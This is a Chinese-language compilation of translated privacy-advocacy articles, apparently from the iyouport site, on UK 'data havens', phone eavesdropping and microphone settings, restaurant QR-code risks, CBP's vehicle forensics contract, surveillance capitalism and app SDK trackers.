鉴于当月10号首席顾问 Dominic Cummings 对数据的看法，这种担忧可能会放大。他不仅支持为 “脱欧” 运动而大量收集个人数据；他还将欧盟的一般数据保护条例（**GDPR**）描述为 “可怕的” 和 “愚蠢的”。

数据保护法不完善的国家通常分为两类：不发达的或专制的。鉴于其

来之不易的站在进步和反专制主义一边的名声，如果英国与其中任何一种联系在一起，都是不幸的。

但在不良数据行为方面，还有第三种可能，同样令人不齿。英国可能会发展成一个数据天堂，就像一些国家是避税天堂那样。

数据避风港是指参与“洗数据”的国家，就像洗钱那样，愿意接纳以非法方式（如未经适当的同意或保障措施）获得的数据，然后将这些数据循环利用到表面上看起来值得尊重的产品中。

洗数据是东道国为那些从事“伦理倾销”的人所做的事。对此的详细内容参见我们的 列表-4 “协助暴政的家伙们”。

【注：伦理倾销是指，那些更富裕、监管更严格国家的科学家，将本国不被允许的科学研究搬到另一个可能较穷、监管较为松懈的国家去进行的行为】

托管在数据避风港的数据，除了被用于看似可接受的产品外，还可能被用于非法的或可疑的目的（如训练间谍软件，面部识别算法，然后卖给出价最高的人，包括专制政权）。

洗数据将涉及英国允许世界各地的公司和政府在其保护下从事肮脏的数据工作，以换取金钱。如果允许英国发展成为数据避风港，可能会变成一场隐私灾难，给英国带来巨大的经济和声誉损失。

未来的方向是更多的隐私，而不是更少。欧洲在这方面是站在历史的正确一边的。美国正在讨论隐私法案，很可能很快就会制定更严格的联邦隐私法。

在硅谷和监视资本主义数据经济多年的不理智乐观之后，如今人们已经意识到，个人数据的交易比我们想象的要危险得多。个人数据正在毒害所有人，使人们受到数据实际的伤害，如公开羞辱、身份盗窃、歧视等等；它也在毒害社会，破坏平等、自主和民主。

当您的个人资料数据被用来对付您时，这里是没有平等和人权的。

- 例如，《挖掘AI：机器学习训练集中的图像政治》

通过个性化、针对性的内容和广告的操纵（即“定制人”），以及个人数据的交易（即 监视资本主义），宽松和基本无用的隐私法使算法暴政能够预测和操纵每个人的行为，并在几乎没有任何监督或问责的情况下对每个人的生活做出关键决定。

人类花了几个世纪的时间来制定隐私规范和法律，是有充分理由的，这些绝不是“不必要”的障碍。过去二十年来，隐私人权不断受到侵蚀，造成了深刻的权力不对称，正在拉大社会的缝隙。

如果英国不认真对待隐私人权，就会快速落后于其他发达国家，就像英国第一次灾难性地采取联系人追踪应用那样。

- 见汇总报告《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》

与国家数据战略的意思相反，支持隐私并非反对科技，正相反是支持科技，因为侵犯人权的科技是没有未来的。

不尊重隐私人权的科技，只会导致公民和国际伙伴对你失去信任和合作。人们不必在隐私和尖端科技之间做出选择。有一些方法可以开发对隐私友好的人工智能和其他技术。

- 论坛《数字技术究竟是会杀死民主，还是拯救民主？：这个10年》

英国的国家数据战略提出要将英国定位为“全球数据使用冠军”，以及“世界上最安全的上网场所”。如果要让这两个理想的目标兼容，就必须保护隐私。公共数据确实应该更方便、更广泛地共享 —— 但个人数据则不然。英国已经具备了成为数据伦理和伦理人工智能领域世界领导者的一切条件。

我们希望英国能抓住机会，朝着这个目标走，而不是背道而驰。英国政府没有听从隐私专家的警告，第一个联系人追踪应用的设计是一个非常糟糕的决定。该国今后会认真对待隐私问题吗？〇

作者 CarissaVéliz 是AI伦理学研究所哲学副教授，牛津大学赫特福德学院研究员，Privacy Is Power (Bantam Press, 2020) 的作者。

You’ve heard of tax havens. After Brexit, the UK could become a ‘data haven’

原文

您并不偏执，您的手机确实在窃听您所说的一切 - iyouport

你应该了解的现实你我的灾难现实监视之恶-关于你可能还不知道的真相

【2020年6月17日存档】有一些理论上的避免方法。

场景像惊悚片一样：你拿出手机，然后看到 AirPods 的广告。

等一下。我不只是和朋友谈论了有关 AirPods 的话题吗？难道我的电话在偷听我说的话？

是的，可能正是如此。使用默认设置时，您所说的一切都可能通过设备的内置麦克风录制。尽管没有具体证据，但许多人认为自己的手机会定期收集语音数据。

而且，您的手机并不是偷窥和窃听您的唯一设备。如果您不保护智能电视，骇客可以把你家的电视变成监视器。

- 这种事CIA至少6年前就做过，见《零日漏洞和 CIA 黑客工具》
- 而且您现在根本买不到普通的无法被入侵的电视，因为《电视机的阴谋》

⚠是的，这完全是合法的，但这并不意味着您必须喜欢它。

许多人都为看到他们仅仅是说过的事而不是在浏览器上搜索的东西被莫名其妙地针对而感到惊讶。幸运的是，有一些方法可以阻止您的设备窃听您。

智能手机配备了大量监控设备：多个麦克风和摄像头旨在吸收音频和视频。尽管这些工具对于创建媒体可能有用，但它们绝对是监视者的金矿。

早在2018年中，一位Vice的记者就进行了一次实验，以了解智能手机收听用户对话的接近程度。为了测试手机，该记者连续五天每天两次

讲预选的话。同时，他监视了自己的 Facebook feed，看是否发生了任何变化。

⚠果然，这些变化似乎在一夜之间就出现了。他的测试用语之一涉及“回到大学”，第二天早晨，记者就看到了暑期课程的广告。

然后，他将自己的测试用语改为“便宜的衬衫”，并很快在 Facebook 提要上看到了低成本服装的广告。

- 非常推荐这篇文章《“如果你不偏执，那就是疯了”》

该报告引发了关于社交媒体平台的监控效果的研究热潮。

尽管并非每项研究都提供了明确的答案，但由于多个应用程序和社交媒体平台的用户协议中的暗示，人们对此问题达成了普遍共识。

这些用户协议明确声明：录制的音频可用于目标广告目的。有趣的是，这种做法并不违法。此举使科技公司可以进一步扩大监视行为，以鼓励人们购买那些根本不需要的东西。

怎么做才能避免被监视？

您可以使用多种方法来减轻智能手机的间谍能力。也就是说，您可能无法使用某些方便的功能，例如 唤醒词和语音助手，因此您必须确定这些功能是否值得牺牲您的人权、甚至人身安全。

最大的漏洞来自大多数语音助手的“始终在线”能力。要拾取“Hey Siri”之类的唤醒字，麦克风需要始终保持打开状态 —— ⚠这意味着您的手机始终在监听。

也就是说您需要关闭手机上的“始终打开”的麦克风功能。方法如下：

1、停用“嘿 Siri”

苹果因录制 Siri 用户的声音已经备受抨击。

要关闭“Siri”，请导航至iOS设备的“设置”，然后导航至 Siri & Search。然后，将“Hey Siri”切换为“关”。

2、禁用“OK Google”

每次您使用 “OK Google” 或其他语音控制功能时，它们都会记录您的查询，并将其保存到您的Google帐户中。

如果您在 Android 上使用 Google Assistant，请打开 Google Assistant 设置。说 “ OK Google” 或按住电话的主按钮，然后点击右上角的文件图标，然后点击三个点菜单。选择 More，然后选择设置。

此时，您需要向下滚动到设备类别并选择您的手机，然后在顶部附近的 Google 助手部分中，点击蓝色的滑块按钮将其更改为灰色，从而关闭 Google 助手。

3、禁用所有应用程序的麦克风访问

⚠对于某些应用程序 —— 如 Facebook —— 仅禁用手机上的麦克风功能是不够的。该社交网站是规则的例外，除非您进行更改，否则它将继续监听。

您可以通过以下方法关闭 Facebook 的音频录制，而且相同的步骤适用于所有使用麦克风的应用：

iPhone ——

进入设置，将麦克风开关滑动到左侧，使其从绿色变为白色，就是关了。或者，您可以转到设置」」隐私」」麦克风，然后找到 Facebook 并进行相同的操作。请注意，在这里您也可以为其他应用打开和关闭麦克风。

Android ——

打开设置，然后选择应用程序管理器。查找 Facebook，然后点击 “应用程序权限”，然后关闭麦克风。

关闭 Facebook 的麦克风访问权限会影响和禁用某些功能，例如实时视频。什么时候使用这些功能再打开一下下，用完马上关闭它。

最后

如果您 “必须” 使用智能手机，那么请注意应该注意的事项，不要让它伤害您和您的家人。〇

You’re not paranoid: Your phone really is listening in

原文

您正在扫码购物或扫码吃饭吗？要小心！ - iyouport

你应该了解的现实

我们已经不止一次对二维码的危险性提出警告。但一直以来我们都是在阻止网络攻击的角度上讲述这件事的。但是您要知道，二维码的危险性不止于此。

如果你最近去了一家餐厅，扫描了一个二维码，而不是从实体菜单上点菜，你很可能不仅花了钱，而且，也付出了你的隐私和安全来支付那顿饭。

企业正在利用大流行期间非接触式服务的兴起，收获关于你是谁、你去了哪里、你做了什么的大量敏感信息，包括你的饮食习惯—— 哪怕你想要的只是吃一顿饭。

在过去的十年里，技术公司和广告业已经创造了一个巨大的、极其有利可图的在线间谍机器。他们试图收集我们所有人在网上的每一次点击的信息，并将其打包成档案，以我们无法想象的方式分享、出售和使用，这在剑桥分析公司的丑闻中已经可以看得很清楚。如果您希望了解他们是怎么做的，请参见这份报告《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》。

这些监控资本家长期以来一直在努力将在线分析与我们的身体运动联系起来（比如，广告牌、再比如，购物），以进一步窥探我们的私密生活。操纵我们去扫描二维码，而不是从实体菜单上点餐，是这些公司通过在你和你的食物之间插入在线广告生态系统的所有机器来实现他们的在线-离线全面跟踪之梦想的途径。

你可能没有多想过，当你打开手机，点击餐厅的二维码时，实际上会发生什么。有时它只是打开餐厅的网页；但是，你在餐馆看到的许多二维码实际上是由不同的公司生成的，这些公司不仅收集、使用、而且经常与其他公司分享你的个人信息。

事实上，向餐馆提供二维码的公司喜欢吹嘘你在订餐时分享的所有个人信息：你的位置、你的人口统计资料，如性别和年龄组，以及关于你和你的行为的其他所有信息。此外，当你的手机打开一个网站或某个应用程序时，目前的在线和移动环境中所有可怕的隐私侵犯行为都会发挥作用：**cookies**、你手机的广告**ID**号和设备指纹。有一个完整的行业致力于使用这些技术和其他技术来识别你时 —— 准确地说 —— 对一家餐馆的访问可以与你所有其他被跟踪的活动联系起来，以创建一个关于你是谁、你去了哪里、你做可什么、以及你的兴趣和习惯的详细档案。

在中国，这项技术已被用于创建一个强制性检查站网络，用于跟踪公民在整个社会中的一举一动。虽然美国人希望这种情况希望永远不会发生在自家门口，但是，如果这些二维码变得足够普遍，类似情况肯定会出现。而且，公司收集的你的个人信息可以与政府共享或被政府用来监视你。

近年来，我们已经看到祈祷应用程序收集的信息是如何被用来锁定和监视穆斯林人口的，以及设备的位置信息是如何被用来监视为种族正义而抗议的活动家的。在澳大利亚，二维码已被广泛地用于COVID联系人追踪，警方已经挖掘了所有这些个人信息的宝库。

当餐馆把拥有智能手机和能够扫描二维码作为获得食物的默认条件时，这对公平也有着重大的影响。许多人没有智能手机，包括超过40%的65岁以上的人和25%的年收入低于30,000美元的人。残疾人和无家可归者也不太可能拥有智能手机。这些都是社会最脆弱的群体。

二维码也很可能带来安全风险。二维码将数据直接传输到你的手机上，你无法阅读，它可能会触发一个在其发生之前你无法审查的行动。这是一个固有的风险，就像盲目地点击一个未知的电子邮件中的链接。根据您的操作系统、二维码阅读器应用程序或二维码本身，您可能没有机会检查拟议的行动，或者您可能被分心或被引诱，没有仔细考虑就采取了行动。

如果您关心这点，详见《如何创建恶意QR码入侵手机和其他扫描仪》。

一些骗子已经在合法的二维码上贴上自己的二维码贴纸，将扫描二维码的人重定向到一个精心制作的完全不同的支付目标上，或一个承载恶意软件的网站。

一些二维码软件完全不值得信任，诚实但天真的企业可能无意中把人

们引向了一个恶意软件网站。即使是一个合法的URL，如果网站被入侵或域名过期，也可能被攻击者重新利用。

技术是帮助我们还是伤害我们，这取决于它的目的、建造它的人，以及我们如何控制和使用这些技术。

基于目前二维码的隐私和安全风险，建议您：

- 对待任何二维码都要像对待未知电子邮件中的链接一样，要保持警惕，并注意它出现的背景。
- 当不确定一个二维码是否可信时，请考虑以另一种方式寻求信息，例如通过手动导航到企业或组织的网站。
- 使用一些软件，允许你检查二维码或它将实现的东西，然后再传递到你的浏览器或任何其他应用程序。
- 留意任何被粘贴在另一个二维码上面的二维码。
- 在餐馆，请坚持使用实体菜单。我们现在都已经知道，通过触摸一张纸来传播病毒的可能性非常小。记得勤洗手就好。

由于二维码存在隐私威胁、公平问题和安全风险，任何企业都不应该强迫任何人扫描二维码，不应该让人们难以继续使用实体菜单。COVID已经让社区损失惨重，现在是时候确保我们使用的任何技术都是为我们服务的，而不是把我们更多的个人信息和权力交到那些以我们的利益为代价的公司手中。〇

Diners Beware: That Meal May Cost You Your Privacy and Security

原文

您的汽车一直在监视您，现在执法当局有了’车辆取证工具包” - iyouport

你应该了解的现实技术暴政

难以被警察解锁的手机中的秘密，现在被您的汽车完全泄漏了

我们介绍过如果您的手机被警察抢走怎么办，以及如何设置安卓和iPhone手机，以防止警察查抄。但是，我们还没有考虑到您的汽车——即便警察打不开您的手机，您的汽车也会泄露您手机中的几乎一切。现在它是一个出售给执法部门的 “取证” 工具。

此前的另一个关于汽车监视的报道《他们实时跟踪全世界*150*亿辆汽车的一举一动：强大监视能力正在推销给政府》

根据 Intercept 查看的一份联邦合同，美国海关和边境保护局（CBP）购买了用于吸取储存在汽车内的大量个人信息的技术，这说明将您的车辆和您的智能手机连接起来这件事存在严重的风险。

权利倡导组织 Mijente 与记者分享的合同显示，CBP向瑞典数据提取公司MSAB支付了 456,073 美元，用于购买一揽子硬件，包括由美国公司 **Berla** 生产的五个**iVe** “车辆取证套件”。

一份相关文件显示，CBP认为该套件将 “在CBP的调查中至关重要，因为它可以[不仅]提供有关车辆使用的证据，而且可以提供通过与信息娱乐系统配对的移动设备获得的信息”。该文件继续说，iVe是唯一可供购买的能够进入此类系统的工具。

根据 Berla 公司创始人的声明，从汽车中吸出数据的部分吸引力在于，许多司机对自己的汽车首先产生了如此多的数据这一事实视而不见，其中往往包括无意中从智能手机上同步的极其敏感的信息。

如果您错过了《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》

事实上，MSAB 的营销材料里已经承诺警察可以访问大量敏感的个人信息，这些信息悄悄地储存在信息娱乐控制台和现代汽车使用的各种其他计算设备中 —— 这些丰富的个人详细资料就像警察和执法当局在破解个人手机时可能得到的一样。

MSAB声称，这些数据可以包括 “最近的目的地、最喜欢的地点、通话记录、联系人名单、短信、电子邮件、照片、视频、社交媒体资料，以及车辆所到之处的导航历史”。**MSAB** 甚至吹嘘能够检索已被删除的数据 —— 黑客取证模式、预测 “未来计划” —— 少数派报告、以及 “识别已知同伙并建立他们之间的通信模式” —— 连锅端。

MSAB说，该取证套件还能够发现大多数车主可能不知道的特定事件，如 “车内的灯光何时何地被打开，在哪些特定地点打开和关闭哪些车门”，以及 “换挡、里程表读数、点火周期、速度记录等”。

换句话说，这种基于汽车的监控，超越了汽车本身的许多方面。

据 MSAB 称，iVe 取证套件与二十多种车辆兼容，并正在迅速扩大其采集和解码数据的能力。

公民自由观察家说，CBP的合同引起了人们的关注，即：这类提取工具将被更广泛地用于规避宪法对不合理搜查的保护。南加州美国公民自由联盟的律师穆罕默德·塔吉萨（Mohammad Tajsar）说：“CBP可以利用这样一份合同的规模是惊人的”。

MSAB发言人 Carolen Ytander 拒绝就 iVe 带来的隐私问题和公民自由风险发表评论。当被问及该公司是否对其技术的使用保持任何准则时，他们说该公司 “没有制定客户政策，也没有对使用进行管理”。

无需破解智能手机即可获得智能手机数据

「图」

MSAB与CBP的合同从去年6月持续到2021年2月28日，是与该机构的 “取证科学部门” 实验室和科学服务部门签订的。它包括关于如何使用MSAB设备的培训。

该机构是美国最大的执法部队，其兴趣可能来自于警方在破解智能手机的持续战争中的挫折。

在MSAB涉足汽车信息提取之前，攻击这类设备是其主要的业务之

一。智能手机的无处不在为世界各地的警察提供了一个无与伦比的反乌托邦大礼：一个人的大部分私人生活都方便地存储在我们几乎所有时间都携带的一个物体中。随着所谓的隐私成为开发商的噱头之一，像 MSAB 和 Cellebrite 这样的取证公司也不得不能力竞争。

因此，渴求数据的政府机构已经越来越多地利用智能汽车的兴起，其仪表板上安装的计算机、蓝牙功能和USB端口，随着智能手机的兴起，这已经成为杯架一般的标准。

智能汽车系统通常旨在与您的手机配对，使您能够接听电话、听写短信、插入地图指示或从方向盘后“阅读”电子邮件。任何驾驶新车并连接手机的人 —— 无论是为了拨打免提电话、收听Spotify音乐，还是为了获得导航 —— 都可能被提示分享自己的整个联系人名单，这是拨打电话的必要步骤，但是没有任何警告，人们曾经认识的所有人的完美记录现在都在汽车的内存中了，没有密码。

CBP的新工具背后的人很清楚，他们在利用消费者的无知。去年夏天，在NBC新闻首次报道的一次播客中，Berla 创始人 Ben LeMere 说：“人们租了车就去做事了，甚至不考虑自己要去的地方和车子本身的记录。”在2015年参加播客“取证午餐”时，LeMere 告诉节目主持人，该公司在培训中正是使用了这种意外转移的情景。“你的手机没电了，你要上车，把它插上，会有一个很方便的USB接口给你。当你把它插入这个**USB**端口时，它就会给你的手机充电，绝对的。一旦它开机，它就会开始把你的所有数据吸进车里。”

在同一播客中，LeMere 还讲述了该公司从华盛顿特区外的BWI马歇尔机场租来的一辆汽车中提取数据的情况。

“我们有一辆福特探险家……我们把系统拉出来，恢复了***70***部曾经连接在上面的手机中的数据！他们所有人的通话记录、联系人和短信历史，以及他们的音乐偏好、设备上的歌曲，还有他们的***Facebook***和***Twitter***的一些信息 **……**当你坐下来阅读其中一些短信时，就会觉得很滑稽。”

美国公民自由联盟的 Tajsar 解释说：“他们真正说的是‘我们可以利用人们，因为他们是傻瓜。我们可以利用消费者的不理解来入侵他们，如果他们理解这点就很可能会反对这样做’。”

利用狂野的“第四修正案边界”

「图」

让您的汽车成为您的手机的延伸（通常没有任何有意义的数据保护），使它们成为了对监视数据贪得无厌的慷慨资助的警察机构的极大诱惑。吸引人的部分原因是，汽车数据系统仍然处于 Tajsar 所说的“第四修正案的边界”。虽然法院越来越多地承认您的手机隐私是您自己隐私的直接延伸，但破解信息娱乐系统和下载其内容的问题仍未解决，CBP可能“利用缺乏法律保障的情况来获取信息，否则将受到搜查令的保护”，Tajsar 说。

MSAB的技术在CBP的手中更令人担忧，**CBP**是一个拥有第四修正案强大例外条款的机构，有着侵略性监视和镇压战术的丰富历史。该机构最近使用无人机监视反对警察谋杀乔治·弗洛伊德的抗议活动，并经常在边境及附近对电子设备进行无证搜查。

Mijente 的 Jacinta Gonzalez 说：“看起来这项技术可以像无证手机搜查一样适用于CBP想要的任何人，这对记者、活动家和律师以及**CBP**决定监视的任何其他人来说都是一个问题，而没有提供任何合理的理由。有了这种能力，CBP很有可能根据有关家庭/社会关系等情报进行搜查，而且似乎没有任何东西可以防止种族定性。”

Tajsar 也有同样的担忧。

他说：“每当有深度侵入性的监控技术出现时，我们就会感到不安。尤其是当它掌握在一个一贯拒绝任何形式的基本问责制、改革或监督的机构手中时，就必须是一级警告”。

问题的一部分是CBP的上级机构—— 国土安全部，旨在“在全国主要执法机构中”扩散情报和监视技术，Tajsar 说，“CBP所拥有的东西将很快渗透到您当地警察在街上搜查时最终得到的东西。这并不是一个理论上的担忧”。〇

YOUR CAR IS SPYING ON YOU, AND A CBP CONTRACT SHOWS THE RISKS

原文

我们所有人的未来究竟在哪 - 推荐一本书 - iYouPort %

你应该了解的现实少数派报告

这种冲突产生了一种精神麻木，使我们了解被跟踪、被解析、被挖掘和操纵的现实，同时也会理所当然地犬儒主义，创造像心理防御机制那样运作的借口

信息资本主义已经采取了新的积累逻辑，具有自己独特的运作机制、经济要求和市场。这种新形式已经脱离了定义资本主义历史的规范和实践，在这个过程中出现了一些令人吃惊的和前所未有的东西。

我们正处在高科技巨头公司和政府的巨大权力掌控之下，正处在如何与监视资本主义的隐密经济逻辑、以及威胁塑造和控制人类生活的机器霸权相对峙的关键时刻。实现社交工程和行为操纵的厚颜无耻的新方法是否会威胁个人独立和民主权利，并引入更极端的新型社会不平等形式？或者干脆说，数字时代的承诺究竟还是不是个人赋权的和民主化的？

《监视资本主义时代》这本书既不是一个关于危险和衰落的令人费解的叙述，也不是一个数字童话故事。相反，它提供了对资本主义新竞赛的深刻且理性并令人回味的考察，这将决定二十一世纪信息文明的意义。眼前的问题在于我们究竟会成为信息和机器的奴隶还是主人。

在这里下载这本书的电子版：https://t.me/iyouport/6559

- 一种新的经济秩序，声称人类经验是一种被用于提取、预测和销售的隐密商业实践的免费原材料；
- 一种寄生经济逻辑，其中商品和服务的生产从属于全球行为操纵的新架构；
- 资本主义的恶性突变，标志着人类历史上前所未有的财富、知识和权力的高度集中化；
- 一个监视经济的基础框架；
- 它是二十一世纪对人性的重大威胁，就如工业资本主义在十九世纪和二十世纪那样已经成为自然世界；

- 一种新的工具权力的起源，它声称对社会具有支配地位，并对市场民主提出了惊人的挑战；
- 一个旨在基于完全确定性强加新集体秩序的运动；
- 剥夺了至关重要的人权，最好将其理解为政变：它推翻了人民的主权。

监视资本主义单方面宣称人类的经验是转化为行为数据的免费原材料。虽然其中一些数据适用于产品或服务改进，但是其余大部分数据都被宣布为专有的行为盈余，用于被称为“机器智能”的先进制造流程，并制作成预测产品，可以预测您现在将要做的事情，很快会做的事，以及未来会做的事。

最后，这些预测产品在一种新的行为预测市场中进行交易，我称之为行为期货市场。监视资本家的利益从这些交易业务中获得了极大的增长，因为许多公司都渴望对我们未来的行为下注。

这些新市场的竞争动态驱使监视资本家获得更具预测性的行为盈余来源：我们的声音、个性和情感。

最终，监视资本家发现，最具预测性的行为数据来自于干预，以便推动、哄骗、调整和追逐有利可图的结果。竞争压力产生了这种转变，其中自动化机器过程不仅知道我们的行为，而且还能大规模地操纵我们的行为。

随着从知识到权力的重新定位，仅仅自动化关于我们的信息流已经不够了；现在的目标是使我们自动化。在监视资本主义演变的这一阶段，生产资料从属于日益复杂和全面的“行为操纵手段”。

通过这种方式，监视资本主义诞生了一种新的力量，我称之为工具主义。工具主义力量了解并塑造人类行为以达成它的目的。它不是通过武器和军队，而是通过所谓的“智能”网络设备、物联网和无处不在的计算架构的自动化媒介来实现其意志的。

正如工业资本主义驱动生产资料的不断加强那样，监视资本家及其市场参与者现在也陷入了行为操纵手段的不断加剧和工具主义力量的聚集。

监视资本主义与早期的数字梦想完全背道而驰。相反，它消除了网络形式具有某种本土道德感的幻觉，这种幻觉即“联系”在某种程度上的本质是亲社会的、天生包容的，或者自然倾向于知识民主化的。数字连接现在是其他人实现商业目的的手段。监视资本主义的核心是寄生

和自我指涉。它出乎意料的转向使卡尔·马克思（Karl Marx）论述的旧资本主义形象即 一个以劳工为食的吸血鬼被重塑。与吸食劳工不同的是，监视资本主义以每个人的经验的各个方面为食。

谷歌发明并完善了监视资本主义，就像一个世纪前通用汽车发明并完善管理资本主义一样。谷歌是思想和实践中监视资本主义的先驱，是财力雄厚的研发者，也是实验和实施的开拓者，但它不再是这条道路上的唯一参与者。

监视资本主义迅速传播到 Facebook，后来迅速传播到微软。有证据表明亚马逊已朝这个方向转向，这对苹果公司来说是一个持续的挑战，无论是作为外部威胁还是作为内部辩论和冲突的来源。

作为监视资本主义的先驱，谷歌在互联网的未映射空间中推出了前所未有的市场运营，它在法律或竞争对手方面面临的障碍很少，就像没有天敌的入侵者。其领导人以极快的速度推动其业务系统的一致性，无论是公共机构还是个人都无法跟上。谷歌也从历史事件中受益，911袭击事件引发了监视资本主义的新兴，或者准确说被合法/合理化了。

「图」

「图」

监视资本家很快就意识到他们可以做任何他们想做的事，他们做到了。他们披着倡导和解放的伪时尚，吸引和利用当代的焦虑，而真正的行动则隐藏在台面之下。他们利用隐形斗篷，借助赋权网络的修辞，迅速行动的能力，巨大的收入来源的信心，以及他们将征服和主张的领土不设防的性质，他们受到他们所统治的自动化流程固有的无法识别的保护，还有这些过程繁殖的无知，以及它们培养的必然性。

监视资本主义不再局限于大型互联网公司的竞争性戏码，其机制和经济要求已成为大多数基于互联网的企业的默认模式。最终，竞争压力推动了对线下世界的扩张，在这个世界中，相同的基础机制可以在您的公园、早餐会话或寻找停车位时训练/操纵您的行为，就像在线浏览、点赞和点击那样。

今天的预测产品在行为期货市场上交易，这些市场超越了在线定位广告，延伸到许多其他行业，包括保险、零售、金融以及不断扩大的商品和服务公司，这些公司决心参与这些新的盈利市场。无论是所谓

的“智能”家居设备，保险公司所谓的“行为承保”，还是成千上万的其他任何交易，我们现在正在为这一统治付出代价。

监视资本主义的产品和服务不是价值交换的对象。它们没有建立建设性的生产者—没有消费者互惠，相反，它们是吸引用户进入其采掘业务的“钩子”，在这些业务中，我们的个人经历被刮取并打包成为实现他人目的的手段。

我们不是监视资本主义的“客户”，虽然民间俗语已经告诉我们“如果东西是免费的，那么你就是产品”，但这也是不够正确的。准确说应该是，我们是监视资本主义的关键盈余的来源：技术先进且越来越不可避免的原材料提取操作的对象。监视资本主义的实际客户是在未来行为中进行市场交易的企业。

这种逻辑将平凡的生活变成了二十一世纪浮士德式契约的日常更新。“浮士德式”因为几乎不可能亲手把自己撕掉，尽管事实上我们必须给予的回报会毁掉我们的生命。

考虑到互联网已成为社会参与的必要条件、互联网现在已经饱和了商业、商业现在已经从属于监视资本主义，我们对其的依赖就是商业监视项目的核心，我们对有效生活的需求与抵制其大胆入侵的倾向相抵触。

这种冲突产生了一种精神麻木，使我们了解被跟踪、被解析、被挖掘和修改的现实，同时也让我们理所当然地犬儒主义，创造像心理防御机制那样运作的借口（“我没有什么可隐瞒的”），或者找到其他方法把头埋在沙子里，选择愚昧无助的无知。通过这种方式，监视资本主义强加了二十一世纪人们不应该做的根本性非法选择，它的正常化使我们被套在锁链中还欣欣然地感觉幸福。

监视资本主义通过前所未有的知识不对称和知识积累的力量来运作。监视资本家了解我们的一切，而他们的行动对我们来说是完全不可知的。他们积累了我们广阔的新知识领域，但不是为我们而做的。

他们为了别人的利益而预测我们的未来，只要允许监视资本主义及其行为期货市场蓬勃发展，新的行为改变手段的所有权就会使生产资料的所有权黯然失色，成为二十一世纪资本主义财富和权力的源泉。

监视资本主义是一种由新的经济上的迫切需求驱动的流氓力量，这种需求忽视了社会规范，并使与个人相关的基本权利无效，个人权利对于民主社会的可能性至关重要。

正如工业文明以牺牲自然为代价而蓬勃发展，现在我们受到的威胁是，由监视资本主义及其新的工具权力所塑造的信息文明将以牺牲人性为代价而茁壮成长，并将抹杀我们的人性。

造成气候混乱的工业遗产让我们感到沮丧、懊悔和恐惧。随着监视资本主义在我们这个时代成为信息资本主义的主导形式，我们的后代将哀悼多少遗留的损害和遗憾？当你阅读这些文字时，正有越来越多的行业、企业、创业公司、应用程序开发商和投资者围绕这一合理的信息资本主义动态，这种新形式的覆盖范围正在迅速扩大。这种动员及其产生的阻力将定义一个关键的战场，在这个战场上，人类未来的可能性将受到质疑。

推荐这本书。期待它能有中文版，虽然这显然很难。

The challenges to humanity posed by the digital future, the first detailed examination of the unprecedented form of power called “surveillance capitalism,” and the quest by powerful corporations to predict and control our behavior.

原文

手机中隐藏的跟踪器：他们如何使用您手机的应用程序监视您 - iyouport

COVID-19(84)你应该了解的现实

【2020年11月24日存档】当他们宣称 “追踪冠状病毒传播” 时，人们都表示同意了；但是，他们很快就用这一人民赋予的权力去追踪迫害抗议者和异议人士。狼宣称支持素食主义是可笑的，您应该知道如何自己保护自己。

在冠状病毒疫情早期，一家名为 Tectonix 的公司的一张动画地图开始走红。 它显示了春假游客如何离开佛罗里达州的海滩返回各地的家，3月初在海滩上聚集的一系列橙色小点在随后的两周内分散到全国各个城市。

“你可以清楚地看到，仅仅一个海滩聚会的潜在影响有多大，它已经在我们的国家传播这种病毒”，该视频的旁白说，“数据告诉了我们看不到的故事。”

但是，那里还有另一个大多数人都看不到的故事：隐藏在智能手机应用程序中的追踪器是如何成为关于您的大量具体数据的来源，其中大部分数据被发送到您从未听说过的公司。

- 《现在是半夜，你知道你的 iPhone 在和谁说话吗？》

这种情况已经持续多年了，是移动应用经济的重要组成部分。但是，Covid-19 大流行才让这些公司中的一些以及他们的能力，走到了前台.

您的手机是广告商和数据经纪人的理想工具，既可以收集您的信息，又可以根据这些信息为您提供针对性的广告。这通常是通过软件开发工具包 SDK实现的，这些公司免费提供给应用程序开发人员，以换取可以从他们那里收集的信息、或通过他们出售的部分广告。例如，当您打开天气应用的位置服务以便获得本地天气预报时，您就已经把您的位置数据传递给了别人。

这就是 X-Mode 如何获得用于创建 Tectonix 春假游客移动地图的数据。

一家名为 Unacast 的公司在其SDK中使用追踪器，对各地居民的社交距离和呆在室内的情况进行评级；还有 Cuebiq，它通过SDK收集位置数据，并将这些信息分享给《纽约时报》，发表了多篇文章，介绍随着出行禁令的解除和各州的重新开放，社交距离是如何变化的。

这仅仅是在该报在一个大篇幅的专题中对 Cuebiq 的位置收集做法给予了更多批判性的介绍之后的几个月，这也显示了现在公众舆论可能的转变，即 这种侵入性数据再次被认为 “用来拯救生命或加速回归正常”。

人们最近还看到这些数据如何被用于许多人认为无助于公共利益的方式。最近华尔街日报的一篇文章披露，位置数据不仅被卖给营销商或数据经纪人，还被卖给警察部门，用于帮助抓捕无证移民。最近，一家名为 **Mobilewalla** 的数据公司吹嘘自己有能力追踪抗议者的手机，尽管这些数据据声称匿名，但该公司说可以识别抗议者的年龄、性别和种族。

- 您需要了解《数据匿名化的陷阱》

虽然您的手机上的大多数应用程序（如果不是全部的话）都使用了几个SDK，但使用这些应用的人却很少了解它们是什么，或者它们如何被用来收集您的数据并在幕后推动一个庞大的监视资本主义经济网络。以下是关于这一切是如何运作的。

- 如今全世界都在做这件事，推荐报告《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱》

什么是**SDK**，它如何跟踪您？

SDK本身并不是跟踪器，但它们是通过移动应用进行大部分跟踪的手段。简单地说，SDK是一个工具包，它可以帮助应用以某种方式发挥作用。苹果和安卓都提供了操作系统SDK，因此开发者可以为各自的设备构建应用，而第三方提供的SDK则允许开发者更便捷地快速为这些应用添加某些功能。

“过去十几年这种东西一直使用的名义是让人们尽可能轻松地开发应用程序”，卡内基梅隆大学移动商务实验室和电子供应链管理实验室主任 Norman Sadeh 告诉 Recode。

例如，如果开发者想让用户用他们的 Facebook 账户登录应用，他们就需要 Facebook 的 Login SDK。如果他们的应用需要地图或地图数据，他们可以使用 Google 的 Map SDK。如果没有SDK，开发者将不得不完全从头开始构建这些东西。这很耗时，而且可能超出了一个小开发者的能力或预算。

SDK还可以帮助应用程序通过所谓的应用程序编程接口API与第三方进行通信。再以 Facebook Login SDK 为例，它帮助开发者在应用中构建并实现登录功能，而API则允许该应用和 Facebook 相互通信，从而实现登录。

